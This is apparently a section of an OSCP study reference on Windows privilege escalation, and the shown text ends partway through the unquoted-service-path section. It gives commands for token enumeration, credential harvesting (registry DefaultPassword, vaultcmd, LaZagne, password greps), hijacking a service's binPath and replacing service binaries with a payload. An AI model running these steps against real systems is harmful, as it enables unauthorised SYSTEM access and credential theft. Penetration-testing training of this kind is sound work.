OSCP Reference

5.2 Escalate privileges on Windows

Strategy map | Master Notes | Operational index | Cheatsheets

An administrator-group membership, enabled token privilege, writable object and effective privileged execution are different claims. Establish the precise right, consumer identity and available trigger before choosing a route.

Speedrun blocks: 9. Documented methods: 13.

Examples are hypothetical study material. Apply commands only to an assigned scope during the later practice phase. A method is enabled by its prerequisites; its presence here does not establish a vulnerability or practical mastery.

5.2.1 First pass: tools and findings

Use the branch matching the current host, identity and observed result. Tool output supplies leads; the linked procedure verifies and uses the exact condition.

5.2.1.1 Record the token and host context

Check the current token before choosing an exploit or collector build.

hostname
whoami /all
systeminfo
ipconfig /all

5.2.1.2 Run winPEAS early and save its report

Transfer a reviewed binary matching the host architecture. The log option writes out.txt; inspect it before selecting a route. Native checks remain available if execution is blocked.

winPEASx64.exe log

5.2.1.3 Verify the specific service/task route

Configuration write, binary replacement, unquoted-prefix write and dependency loading require different rights.

whoami /all
icacls "C:\Path\To\OBJECT"
icacls "C:\Path\To"
sc.exe sdshow SERVICE

5.2.2 Discovery workflow

Start with a Windows foothold. Administrator-group membership, a high-integrity token and a working privileged trigger are separate facts.

Follow these observations into a method; the detailed recognition routes below show synthetic output and the checks still needed.

  1. Inspect whoami /all and host/process state before choosing a privilege route: Establish Windows token, host and process context.
  2. Inventory real services/tasks and inspect exact object and parent ACLs: Prove effective file, registry and service-object permissions; Change a privileged service's executable configuration; Control scheduled tasks, startup files or autostart consumers.
  3. Separate writable service configuration, replaceable binaries, unquoted prefixes and dependency loads: Replace a privileged service binary or consumed file; Exploit an unquoted service path with a writable earlier prefix; Control a privileged DLL, helper or configuration load.
  4. Follow application/history/saved-credential artifacts and exact token privileges: Recover Windows application, history and stored-credential artifacts; Select a privilege-backed impersonation or object-control route; Use backup privilege to obtain protected local credential material.
  5. Match software/driver/build evidence only after validating simpler permission routes: Select a matching application, driver or kernel exploit.

Decision rule: an observed clue opens a candidate. Choose it only after the missing conditions are verified; a failed check rules out that context, while unavailable evidence stays inconclusive.

5.2.3 Method families

5.2.4 Choose a method

MethodRecognition clueRequired accessEnabling conditionsResulting capability
Establish Windows token, host and process contextA new Windows session or claimed administrator/SYSTEM transitionA verified Windows foothold with a known token, integrity level and groupsA functioning command channel and the actual effective token/process contextA verified identity, integrity, privilege and host state for candidate selection
Prove effective file, registry and service-object permissionsA privileged object appears writable or an ACL tool reports a useful rightA verified Windows foothold with a known token, integrity level and groupsCorrect trustee/token, object type and effective rights including parents and deny entriesA specific confirmed control primitive for a privileged consumer
Recover Windows application, history and stored-credential artifactsReadable application configuration, unattended setup, PowerShell trails or Credential Manager entriesA verified Windows foothold with a known token, integrity level and groupsArtifact read permission and exact protecting identity/context for saved or DPAPI materialTyped secret material or a verified saved-credential consumer transition
Change a privileged service's executable configurationEffective SERVICE_CHANGE_CONFIG on a higher-privileged serviceA verified Windows foothold with a known token, integrity level and groupsConfiguration-change right, accessible compatible payload path and a separate start/restart triggerVerified execution under the configured service identity
Replace a privileged service binary or consumed fileA privileged service consumes a file whose bytes or parent replacement are controllableA verified Windows foothold with a known token, integrity level and groupsEffective file/parent replacement rights, compatible artifact, file-lock handling and available privileged restart/boot triggerVerified execution of the replacement under the service identity
Exploit an unquoted service path with a writable earlier prefixA service command line contains unquoted spacesA verified Windows foothold with a known token, integrity level and groupsAn earlier executable prefix is absent and creatable, service identity is higher and a start/restart trigger existsVerified execution of the earlier executable candidate
Control a privileged DLL, helper or configuration loadA privileged application searches for a missing dependency or consumes writable configurationA verified Windows foothold with a known token, integrity level and groupsActual controlled resolution path, compatible name/architecture/exports and a reliable privileged load triggerVerified privileged consumption of the chosen dependency
Control scheduled tasks, startup files or autostart consumersA task/startup action consumes a writable command, file, directory or registry valueA verified Windows foothold with a known token, integrity level and groupsEffective object control, a higher principal and a usable scheduled/logon/manual triggerVerified privileged task or startup execution
Validate elevated installer policy and administrative-token contextInstaller policy values or an administrator account with a filtered tokenA verified Windows foothold with a known token, integrity level and groupsAlwaysInstallElevated requires both effective machine/user policy values and permitted MSI execution; UAC routes require their own compatible administrator/token contextA verified installer-policy execution route or a precise token-boundary assessment
Select a privilege-backed impersonation or object-control routewhoami /priv exposes a relevant token privilegeA verified Windows foothold with a known token, integrity level and groupsThe exact privilege and usable operation; impersonation additionally needs a compatible privileged authentication source, OS/service state and executable contextA verified token-backed identity or privileged-object operation
Use backup privilege to obtain protected local credential materialA token has the relevant backup rights and protected registry/files are a useful credential sourceA verified Windows foothold with a known token, integrity level and groupsUsable backup privilege, compatible backup API/command and a matched protected source set with a writable destinationMatched credential material suitable for offline parsing
Select a matching application, driver or kernel exploitAn exact vulnerable local component is present after simpler paths are assessedA verified Windows foothold with a known token, integrity level and groupsAffected build/patch/architecture, required service/driver/configuration and compatible exploit assumptionsA justified local exploit and independently verified higher-privilege result
Turn automated Windows findings into manually verified candidatesA Windows foothold is available; run winPEAS or a focused survey for service/task permissions, token privileges and credentialsA verified Windows foothold with a known token, integrity level and groupsVerified current token and architecture, a compatible reviewed executable or allowed PowerShell runtime, and a writable report locationA shortlist of permissions, consumers and credential sources to validate

5.2.5 Establish Windows token, host and process context

Blocks: 9. Operational procedure | Operational procedure | Quick sheet

5.2.5.1 Purpose and result

A verified identity, integrity, privilege and host state for candidate selection.

5.2.5.2 Recognition clues

A new Windows session or claimed administrator/SYSTEM transition.

5.2.5.2.1 Find the clue from your starting access

Where to investigate: At a new foothold inspect the complete token and host/service inventory before classifying the session as an administrator.

Discovery action — reference example:

Access/context: A verified Windows foothold with a known token, integrity level and groups

Conditions, effects and verification

Requires: A functioning command channel and the actual effective token/process context

Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.

Stop/verify: Verify represented user/SID, enabled group/privilege state and actual privileged operation.

Failure/next check: A prompt title or account name is insufficient. WMIC may be absent; use the documented CIM/PowerShell alternatives.

whoami /all
systeminfo
tasklist /svc

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

BUILTIN\Administrators: Group used for deny only
Mandatory Label\Medium Mandatory Level

Recognize this detail: An Administrators SID exists but this effective process is filtered/medium-integrity.

Still missing before method selection: Check actual enabled privileges and object operations in the process that will perform the action.

Outcome after checkingExample and next decision
Enabled after validationA higher-integrity/SYSTEM token and intended operation are verified: record that privilege state.
Ruled out in this contextA medium filtered token cannot perform the assumed administrative action: reject that privilege assumption.
InconclusiveUsername/group membership alone leaves token state unknown; inspect whoami /all.

If you do not yet have this clue: start with Verify command execution, host and represented identity.

5.2.5.3 Prerequisites

Starting access: A verified Windows foothold with a known token, integrity level and groups. Required conditions: A functioning command channel and the actual effective token/process context.

5.2.5.4 Discover and verify prerequisites

hostname
whoami /all
systeminfo
ipconfig /all

5.2.5.5 Why it works

Group membership can be filtered in a token, and a network logon context can differ from interactive access. Check privileges and integrity where the intended operation runs.

5.2.5.6 Execute and choose variants

hostname
whoami /all
systeminfo
ipconfig /all
route print
netstat -ano
tasklist /svc
query user
net user
net localgroup Administrators
driverquery /v
Get-ComputerInfo | Select-Object WindowsProductName,WindowsVersion,OsBuildNumber,OsArchitecture
Get-HotFix | Sort-Object InstalledOn -Descending
Get-CimInstance Win32_Process | Select-Object ProcessId,Name,ExecutablePath,CommandLine
Get-CimInstance Win32_Service | Select-Object Name,StartName,State,StartMode,PathName
Get-CimInstance Win32_SystemDriver | Select-Object Name,State,StartMode,PathName
Get-LocalUser
Get-LocalGroupMember Administrators

Interpret: record user SID, integrity label, enabled/deny-only groups and present/enabled privileges. Administrator membership with Medium integrity is a filtered token, not a high-integrity process. Get-HotFix does not list every update; use build/KB output only to form a version hypothesis.

5.2.5.6.1 WMIC compatibility fallbacks
wmic qfe get HotFixID,InstalledOn
wmic service get Name,StartName,State,StartMode,PathName
wmic process get ProcessId,Name,ExecutablePath,CommandLine

WMIC is deprecated and may be absent on newer systems; PowerShell CIM is the baseline.

whoami /all
hostname
ipconfig /all

After a higher token, re-enumerate protected credentials, services, tasks, sessions, listeners, routes and domain context. Preserve the command, relevant output, trigger and restoration step. For exam use, recheck the current OffSec guide: Windows full-privilege evidence requires SYSTEM, Administrator or an account with Administrator privileges, and AI/LLM use is prohibited during the exam and report phase.

5.2.5.7 Worked example — hypothetical

Observation: the username belongs to Administrators. Test: inspect token groups/integrity and effective privileges. Illustrative output: the administrator SID is deny-only in a medium token. Interpretation: do not assume high-integrity service-control rights.

5.2.5.8 Verify the result

Verify represented user/SID, enabled group/privilege state and actual privileged operation.

5.2.5.9 Failure and fallback

A prompt title or account name is insufficient. WMIC may be absent; use the documented CIM/PowerShell alternatives.

5.2.5.10 Continue from the interpreted result

Observed resultCheck before proceedingNext numbered section
A privileged object appears writable or an ACL tool reports a useful rightCorrect trustee/token, object type and effective rights including parents and deny entries§5.2.6 — Prove effective file, registry and service-object permissions
Effective SERVICE_CHANGE_CONFIG on a higher-privileged serviceConfiguration-change right, accessible compatible payload path and a separate start/restart trigger§5.2.8 — Change a privileged service's executable configuration
whoami /priv exposes a relevant token privilegeThe exact privilege and usable operation; impersonation additionally needs a compatible privileged authentication source, OS/service state and executable context§5.2.14 — Select a privilege-backed impersonation or object-control route
A service command line contains unquoted spacesAn earlier executable prefix is absent and creatable, service identity is higher and a start/restart trigger exists§5.2.10 — Exploit an unquoted service path with a writable earlier prefix
Installer policy values or an administrator account with a filtered tokenAlwaysInstallElevated requires both effective machine/user policy values and permitted MSI execution; UAC routes require their own compatible administrator/token context§5.2.13 — Validate elevated installer policy and administrative-token context

5.2.6 Prove effective file, registry and service-object permissions

Blocks: 9. Operational procedure | Quick sheet

5.2.6.1 Purpose and result

A specific confirmed control primitive for a privileged consumer.

5.2.6.2 Recognition clues

A privileged object appears writable or an ACL tool reports a useful right.

5.2.6.2.1 Find the clue from your starting access

Where to investigate: Take a real service/task/application path from inventory, then inspect its file, parent and separate service-object permissions.

Discovery action — reference example:

Access/context: A verified Windows foothold with a known token, integrity level and groups

Conditions, effects and verification

Requires: Correct trustee/token, object type and effective rights including parents and deny entries

Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.

Stop/verify: Name the exact allowed operation on the exact object and independently check a privileged consumer/trigger.

Failure/next check: Generic write labels can refer to another object or an inactive group. Resolve actual effective rights before modifying anything.

icacls "C:\Path\To\OBJECT"
icacls "C:\Path\To"
sc.exe sdshow SERVICE

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

File: BUILTIN\Users:(RX)
Parent: DOMAIN\GROUP:(M)
Service-object rights: separate DACL

Recognize this detail: A modifiable parent can differ from a read-only file; service configuration rights are another control plane.

Still missing before method selection: Use icacls/Get-Acl on the reported object and parents. For a service also inspect sc qc/sc sdshow; for a task inspect its action/principal. Check the specific write/replace/configuration operation and its trigger.

Outcome after checkingExample and next decision
Enabled after validationThe intended effective operation and higher consumer are proved: select that object-control method.
Ruled out in this contextOnly read/execute applies to the current token: reject the proposed modification.
InconclusiveAn ACL for an inactive or ambiguous group leaves effective access unresolved.

If you do not yet have this clue: start with Establish Windows token, host and process context.

5.2.6.3 Prerequisites

Starting access: A verified Windows foothold with a known token, integrity level and groups. Required conditions: Correct trustee/token, object type and effective rights including parents and deny entries.

5.2.6.4 Discover and verify prerequisites

whoami /all
icacls "C:\Path\To\OBJECT"
icacls "C:\Path\To"
sc.exe sdshow SERVICE

5.2.6.5 Why it works

A service-object DACL controls operations such as configuration changes; the executable's filesystem ACL is separate. Parent delete/create rights can allow replacement without direct file modification.

5.2.6.6 Execute and choose variants

icacls "C:\Path\To\OBJECT"
sc.exe sdshow SERVICE
accesschk.exe -accepteula -nobanner -v -w "USER" "C:\Path\To\OBJECT"
accesschk.exe -accepteula -nobanner -v -w -c "USER" SERVICE

icacls common rights: F full, M modify, RX read/execute, R read, W write, D delete. Common inheritance markers: I, OI, CI, IO, NP.

File, directory, registry, service-object, task and process permissions are separate. Check whether the ACE applies to the current user or an enabled group and grants the exact required operation. Mandatory Integrity Control can still block a lower-integrity write.

5.2.6.7 Worked example — hypothetical

Observation: a service executable is read-only but its directory grants replacement rights. Test: inspect the effective token and parent permissions. Illustrative output: replacement is possible but service restart is denied. Interpretation: the control primitive is valid; the trigger remains missing.

5.2.6.8 Verify the result

Name the exact allowed operation on the exact object and independently check a privileged consumer/trigger.

5.2.6.9 Failure and fallback

Generic write labels can refer to another object or an inactive group. Resolve actual effective rights before modifying anything.

5.2.6.10 Continue from the interpreted result

Observed resultCheck before proceedingNext numbered section
A privileged service consumes a file whose bytes or parent replacement are controllableEffective file/parent replacement rights, compatible artifact, file-lock handling and available privileged restart/boot trigger§5.2.9 — Replace a privileged service binary or consumed file
A task/startup action consumes a writable command, file, directory or registry valueEffective object control, a higher principal and a usable scheduled/logon/manual trigger§5.2.12 — Control scheduled tasks, startup files or autostart consumers
A privileged application searches for a missing dependency or consumes writable configurationActual controlled resolution path, compatible name/architecture/exports and a reliable privileged load trigger§5.2.11 — Control a privileged DLL, helper or configuration load

5.2.7 Recover Windows application, history and stored-credential artifacts

Blocks: 9. Operational procedure | Operational procedure | Quick sheet

5.2.7.1 Purpose and result

Typed secret material or a verified saved-credential consumer transition.

5.2.7.2 Recognition clues

Readable application configuration, unattended setup, PowerShell trails or Credential Manager entries.

5.2.7.2.1 Find the clue from your starting access

Where to investigate: Follow actual application/configuration paths, PSReadLine history and saved-credential targets under the current readable user context.

Discovery action — reference example:

Access/context: A verified Windows foothold with a known token, integrity level and groups

Conditions, effects and verification

Requires: Artifact read permission and exact protecting identity/context for saved or DPAPI material

Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.

Stop/verify: Tie each value to a source/account/service and verify any new token with whoami /all.

Failure/next check: Protected blobs, stale history and saved credentials for a different target require their own keys/context or a different route.

cmdkey /list
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

cmdkey target: Domain:target=TARGET_HOST
User: DOMAIN\USER
Password: not displayed

Recognize this detail: A target-bound saved credential is a possible consumer capability, not a plaintext password.

Still missing before method selection: Establish protecting user/context, intended logon type and an actually permitted saved-credential or decryption route.

Outcome after checkingExample and next decision
Enabled after validationThe matching consumer accepts the credential and the resulting token is checked: use that access.
Ruled out in this contextThe stored entry belongs to another context/target and cannot be used here: reject that transition.
InconclusiveA protected blob/listing without keys or consumer evidence leaves usable credentials unproved.

If you do not yet have this clue: start with Establish Windows token, host and process context.

5.2.7.3 Prerequisites

Starting access: A verified Windows foothold with a known token, integrity level and groups. Required conditions: Artifact read permission and exact protecting identity/context for saved or DPAPI material.

5.2.7.4 Discover and verify prerequisites

cmdkey /list
whoami /all

5.2.7.5 Why it works

A cmdkey entry proves a target-bound stored credential, not plaintext disclosure. Saved-credential use and DPAPI decryption require matching contexts; runas does not inherently bypass UAC.

5.2.7.6 Execute and choose variants

5.2.7.6.1.1 Find usable credentials in accessible Windows artifacts Stored credentials and PowerShell trails
cmdkey /list
vaultcmd /list
vaultcmd /listcreds:"Windows Credentials" /all
$history = (Get-PSReadLineOption).HistorySavePath
$history
Get-Content -LiteralPath $history -ErrorAction SilentlyContinue
Get-ItemProperty 'HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription' -ErrorAction SilentlyContinue
Get-ItemProperty 'HKCU:\Software\Policies\Microsoft\Windows\PowerShell\Transcription' -ErrorAction SilentlyContinue
Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' -ErrorAction SilentlyContinue |
  Where-Object Id -in 4103,4104 | Select-Object -First 50 TimeCreated,Id,Message

A cmdkey entry is target/context-bound and does not reveal a password. DPAPI-protected data needs the protecting user/machine context and keys. Clear-History does not necessarily clear PSReadLine's saved file.

5.2.7.6.1.1.1 Targeted application/file/registry search
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
dir /s /b C:\Windows\Panther\*unattend*.xml C:\Windows\System32\Sysprep\*.xml 2>nul
dir /s /b C:\Users\*.kdbx C:\Users\*.rdp C:\Users\id_rsa C:\Users\*.ppk 2>nul
Get-ChildItem C:\inetpub,C:\ProgramData,C:\Users -Recurse -File -ErrorAction SilentlyContinue |
  Where-Object { $_.Extension -in '.config','.xml','.ini','.txt','.ps1','.bat','.cmd','.yml','.yaml','.json' } |
  Select-String -Pattern 'password|passwd|secret|token|connectionString|user id=' -CaseSensitive:$false

Search from observed applications first. Classify every value by identity, format, scope and compatible service, then use the credential procedure.

5.2.7.6.1.1.2 Saved credential consumer
runas /savecred /user:DOMAIN\USER cmd.exe

Use only when cmdkey/context supports that identity and logon type. runas does not inherently bypass UAC; verify the resulting token with whoami /all.

5.2.7.6.1.1.3 LaZagne — recover application credentials in the current user's context

Use a reviewed Windows build after identifying the current user and installed applications. Start with the relevant family; run broader collection only when useful. User-protected stores depend on that user's profile/decryption context; system-protected stores can need an elevated token.

5.2.7.6.1.1.4 Browser-store leads for the current user
REM Browser-store leads for the current user
laZagne.exe browsers
5.2.7.6.1.1.5 Broader recovery, with a local text report
REM Broader recovery, with a local text report
laZagne.exe all -oN

Read: preserve the reported application/account/source with each recovered value. Test a matching service using the credential procedure; a recovered application password is not automatically a domain password. Empty output can mean no supported store, inaccessible profile or failed decryption. Follow manual history/config/vault checks instead of assuming there are no credentials.

LaZagne upstream.

Get-ChildItem C:\Users,C:\ProgramData,C:\inetpub -File -Recurse -ErrorAction SilentlyContinue |
  Where-Object { $_.Name -match 'pass|cred|config|backup|unattend|\.env' }
Get-ChildItem C:\Users,C:\ProgramData,C:\inetpub -File -Recurse -ErrorAction SilentlyContinue |
  Where-Object { $_.Extension -in '.config','.xml','.ini','.txt','.ps1','.bat','.cmd' } |
  Select-String -Pattern 'password|passwd|secret|token|connectionString' -CaseSensitive:$false

Avoid searching the entire filesystem without a reason; scope reduces noise, access errors and sensitive-data overcollection.

5.2.7.7 Worked example — hypothetical

Observation: a history file contains a service password. Test: identify its account scope and compatible service. Illustrative output: the password grants a remote share but not local elevation. Interpretation: re-enumerate that share and preserve identity context.

5.2.7.8 Verify the result

Tie each value to a source/account/service and verify any new token with whoami /all.

5.2.7.9 Failure and fallback

Protected blobs, stale history and saved credentials for a different target require their own keys/context or a different route.

5.2.7.10 Continue from the interpreted result

Observed resultCheck before proceedingNext numbered section
A secret-like value, key file, stored hash, challenge response or ticketArtifact provenance and format; possible local/domain/application identity and compatible protocol§3.1.5 — Classify the artifact and its identity context
A password tied to a plausible user and serviceCorrect local/domain/application identity, reachable compatible service, accepted authentication and account state§3.1.6 — Validate known passwords and context-specific reuse
Saved credentials or protected application blobs/master keysAccess to the protected data plus matching user/machine context, master-key material or an appropriate recovery factor§6.3.11.8 — Use Credential Manager and DPAPI with the protecting context

5.2.8 Change a privileged service's executable configuration

Choose when: Effective SERVICE_CHANGE_CONFIG on a higher-privileged service · Result: Verified execution under the configured service identity

Blocks: 9. Operational procedure | Operational procedure | Quick sheet

5.2.8.1 Purpose and result

Verified execution under the configured service identity.

5.2.8.2 Recognition clues

Effective SERVICE_CHANGE_CONFIG on a higher-privileged service.

5.2.8.2.1 Find the clue from your starting access

Where to investigate: Inventory service accounts/paths, select a higher-identity service and query its effective service-object rights with the current token.

Discovery action — reference example:

Access/context: A verified Windows foothold with a known token, integrity level and groups

Conditions, effects and verification

Requires: Configuration-change right, accessible compatible payload path and a separate start/restart trigger

Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.

Stop/verify: Verify the payload's effect and service execution identity, then restore the saved configuration.

Failure/next check: Access denied on config is different from trigger denial or an incompatible binary. Preserve original binPath and use sc.exe explicitly in PowerShell.

Get-CimInstance Win32_Service | Select-Object Name,StartName,State,PathName
sc.exe qc SERVICE
accesschk.exe -accepteula -nobanner -v -w -c "USER" SERVICE

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

SERVICE_START_NAME: LocalSystem
Effective service rights:
  SERVICE_CHANGE_CONFIG
  SERVICE_START

Recognize this detail: Configuration-change and start rights on the same higher-identity service are promising; file ACLs alone would not prove them.

Still missing before method selection: Use sc qc to read the service account and command, sc sdshow/AccessChk to verify configuration rights and sc query to inspect state. Confirm an allowed start/restart trigger before changing the service, then verify whoami.

Outcome after checkingExample and next decision
Enabled after validationThe controlled configuration is consumed at a usable trigger and effect is verified: choose service configuration abuse.
Ruled out in this contextOnly query rights are granted: reject the ability to change binPath.
InconclusiveCHANGE_CONFIG without a usable trigger remains an incomplete candidate.

If you do not yet have this clue: start with Establish Windows token, host and process context.

5.2.8.3 Prerequisites

Starting access: A verified Windows foothold with a known token, integrity level and groups. Required conditions: Configuration-change right, accessible compatible payload path and a separate start/restart trigger.

5.2.8.4 Discover and verify prerequisites

sc.exe qc SERVICE
sc.exe sdshow SERVICE
icacls "C:\Windows\Temp"

5.2.8.5 Why it works

Service configuration and service start/stop are separate permissions. An ordinary program can execute and still return service error 1053 because it does not implement the service protocol.

5.2.8.6 Execute and choose variants

Get-CimInstance Win32_Service | Select-Object Name,StartName,State,StartMode,PathName
sc.exe qc SERVICE
sc.exe sdshow SERVICE
icacls "C:\Path\To\service.exe"
icacls "C:\Path\To"
accesschk.exe -accepteula -nobanner -v -w -c "USER" SERVICE
accesschk.exe -accepteula -nobanner -v -w "USER" "C:\Path\To\service.exe"

Need: control of service config, exact binary/script, searched prefix, DLL/config/plugin, or relevant DACL; higher SERVICE_START_NAME; and a start/restart/boot trigger. In PowerShell use sc.exe, because bare sc can resolve to Set-Content.

Preserve BINARY_PATH_NAME, account and start mode first:

sc.exe qc SERVICE
sc.exe config SERVICE binPath= "C:\Windows\Temp\PAYLOAD_EXE"
sc.exe stop SERVICE
sc.exe start SERVICE

Restore:

sc.exe config SERVICE binPath= "ORIGINAL_BINARY_PATH"

SERVICE_CHANGE_CONFIG controls binPath; start/stop are separate rights. The space after binPath= is required. Error 1053 may mean a non-service payload ran but did not answer the Service Control Manager; verify the intended effect.

5.2.8.6.1 Writable service binary or replaceable parent
sc.exe qc SERVICE
icacls "C:\Path\To\service.exe"
icacls "C:\Path\To"
copy /Y "C:\Path\To\service.exe" "C:\Windows\Temp\service.exe.backup"
copy /Y "C:\Windows\Temp\PAYLOAD_EXE" "C:\Path\To\service.exe"
sc.exe stop SERVICE
sc.exe start SERVICE

A parent with delete/create rights can permit replacement even when the file is not directly writable. Confirm architecture, file locks, recovery copy and exact trigger.

5.2.8.7 Worked example — hypothetical

Observation: configuration changes are permitted but stop/start is denied. Test: inspect the actual service schedule/recovery trigger. Illustrative output: no usable trigger is available. Interpretation: record the control and missing condition, then prioritize another path.

5.2.8.8 Verify the result

Verify the payload's effect and service execution identity, then restore the saved configuration.

5.2.8.9 Failure and fallback

Access denied on config is different from trigger denial or an incompatible binary. Preserve original binPath and use sc.exe explicitly in PowerShell.

5.2.8.10 Continue from the interpreted result

Observed resultCheck before proceedingNext numbered section
Windows execution or valid credentials with an available remote serviceAccepted remote-service rights or compatible PowerShell execution; correct encoding, policy context and callback route§4.2.7 — Use Windows authenticated access or a PowerShell command channel
A new Windows session or claimed administrator/SYSTEM transitionA functioning command channel and the actual effective token/process context§5.2.5 — Establish Windows token, host and process context
A task/startup action consumes a writable command, file, directory or registry valueEffective object control, a higher principal and a usable scheduled/logon/manual trigger§5.2.12 — Control scheduled tasks, startup files or autostart consumers

5.2.9 Replace a privileged service binary or consumed file

Choose when: A privileged service consumes a file whose bytes or parent replacement are controllable · Result: Verified execution of the replacement under the service identity

Blocks: 9. Operational procedure | Quick sheet

5.2.9.1 Purpose and result

Verified execution of the replacement under the service identity.

5.2.9.2 Recognition clues

A privileged service consumes a file whose bytes or parent replacement are controllable.

5.2.9.2.1 Find the clue from your starting access

Where to investigate: From service inventory follow the exact executable/script path and inspect both its own ACL and its parent's replacement rights.

Discovery action — reference example:

Access/context: A verified Windows foothold with a known token, integrity level and groups

Conditions, effects and verification

Requires: Effective file/parent replacement rights, compatible artifact, file-lock handling and available privileged restart/boot trigger

Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.

Stop/verify: Prove actual selected file, trigger and resulting token; retain the recovery copy privately.

Failure/next check: File locking, read-only paths, wrong architecture or unavailable restart can block this specific route.

sc.exe qc SERVICE
icacls "C:\Path\To\service.exe"
icacls "C:\Path\To"

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

SERVICE_START_NAME: LocalSystem
BINARY_PATH_NAME: C:\APP\service.exe
C:\APP: DOMAIN\GROUP:(M)

Recognize this detail: A higher-identity service consumes a potentially replaceable file in a modifiable directory.

Still missing before method selection: Use sc qc to locate the real binary and account, then icacls on that file and its parent. Confirm replacement rights and an available privileged service start/restart; a writable unrelated file is insufficient.

Outcome after checkingExample and next decision
Enabled after validationThe replaced compatible file is actually started under the service identity: select this route.
Ruled out in this contextThe modified directory is unrelated to the configured executable: reject this consumer assumption.
InconclusiveA writable path without restart/boot evidence leaves execution unproved.

If you do not yet have this clue: start with Establish Windows token, host and process context.

5.2.9.3 Prerequisites

Starting access: A verified Windows foothold with a known token, integrity level and groups. Required conditions: Effective file/parent replacement rights, compatible artifact, file-lock handling and available privileged restart/boot trigger.

5.2.9.4 Discover and verify prerequisites

sc.exe qc SERVICE
icacls "C:\Path\To\service.exe"
icacls "C:\Path\To"

5.2.9.5 Why it works

Filesystem control can redirect service execution without permission to change the service object. The actual consumed path and service account must be confirmed.

5.2.9.6 Execute and choose variants

5.2.9.6.1 Writable service binary or replaceable parent
sc.exe qc SERVICE
icacls "C:\Path\To\service.exe"
icacls "C:\Path\To"
copy /Y "C:\Path\To\service.exe" "C:\Windows\Temp\service.exe.backup"
copy /Y "C:\Windows\Temp\PAYLOAD_EXE" "C:\Path\To\service.exe"
sc.exe stop SERVICE
sc.exe start SERVICE

A parent with delete/create rights can permit replacement even when the file is not directly writable. Confirm architecture, file locks, recovery copy and exact trigger.

5.2.9.7 Worked example — hypothetical

Observation: a LocalSystem service binary is replaceable. Test: preserve it, verify the restart right and trigger the documented replacement. Illustrative output: the controlled effect runs as SYSTEM. Interpretation: verify the token and restore the original artifact.

5.2.9.8 Verify the result

Prove actual selected file, trigger and resulting token; retain the recovery copy privately.

5.2.9.9 Failure and fallback

File locking, read-only paths, wrong architecture or unavailable restart can block this specific route.

5.2.9.10 Continue from the interpreted result

Observed resultCheck before proceedingNext numbered section
A new Windows session or claimed administrator/SYSTEM transitionA functioning command channel and the actual effective token/process context§5.2.5 — Establish Windows token, host and process context
A downloaded/generated artifact exists but does not runMatching OS/process architecture, interpreter/loader/runtime, intact bytes, execute/destination permissions and compatible format§7.1.7 — Match an artifact to its executable consumer and runtime
A privileged object appears writable or an ACL tool reports a useful rightCorrect trustee/token, object type and effective rights including parents and deny entries§5.2.6 — Prove effective file, registry and service-object permissions

5.2.10 Exploit an unquoted service path with a writable earlier prefix

Choose when: A service command line contains unquoted spaces · Result: Verified execution of the earlier executable candidate

Blocks: 9. Operational procedure | Quick sheet

5.2.10.1 Purpose and result

Verified execution of the earlier executable candidate.

5.2.10.2 Recognition clues

A service command line contains unquoted spaces.

5.2.10.2.1 Find the clue from your starting access

Where to investigate: List service command lines and accounts, then inspect every earlier executable prefix in the actual unquoted path.

Discovery action — reference example:

Access/context: A verified Windows foothold with a known token, integrity level and groups

Conditions, effects and verification

Requires: An earlier executable prefix is absent and creatable, service identity is higher and a start/restart trigger exists

Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.

Stop/verify: Confirm the earlier prefix is actually selected after the trigger and verify its resulting token.

Failure/next check: A quoted path, existing protected earlier file, unwritable directory or absent trigger defeats the chain.

Get-CimInstance Win32_Service | Select-Object Name,StartName,State,PathName

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

StartName: LocalSystem
PathName: C:\Program Files\Vendor App\service.exe -d
Quotes around executable: absent

Recognize this detail: Spaces plus absent executable quoting create candidate earlier prefixes; writable placement and trigger remain unproved.

Still missing before method selection: Read the unquoted service command with sc qc. Check each earlier executable prefix for write/create access with icacls; confirm the service account and restart trigger. Spaces alone do not make the path exploitable.

Outcome after checkingExample and next decision
Enabled after validationA usable earlier prefix is selected at a privileged trigger: choose this parsing route.
Ruled out in this contextAll earlier prefixes are protected, already occupied or the executable is correctly quoted: reject it.
InconclusiveA scanner flag without prefix/trigger checks leaves exploitability unknown.

If you do not yet have this clue: start with Establish Windows token, host and process context.

5.2.10.3 Prerequisites

Starting access: A verified Windows foothold with a known token, integrity level and groups. Required conditions: An earlier executable prefix is absent and creatable, service identity is higher and a start/restart trigger exists.

5.2.10.4 Discover and verify prerequisites

Get-CimInstance Win32_Service | Select-Object Name,StartName,PathName

5.2.10.5 Why it works

Windows executable-path parsing may try earlier space-separated prefixes. Spaces alone do not create control; each attempted prefix and its creation rights matter.

5.2.10.6 Execute and choose variants

Get-CimInstance Win32_Service |
  Where-Object { $_.PathName -match '\s' -and $_.PathName -notmatch '^\s*"' } |
  Select-Object Name,StartName,State,StartMode,PathName

For C:\Program Files\Vendor App\service.exe -d, check every attempted prefix:

icacls C:\
icacls "C:\Program Files"
icacls "C:\Program Files\Vendor App"
sc.exe qc SERVICE

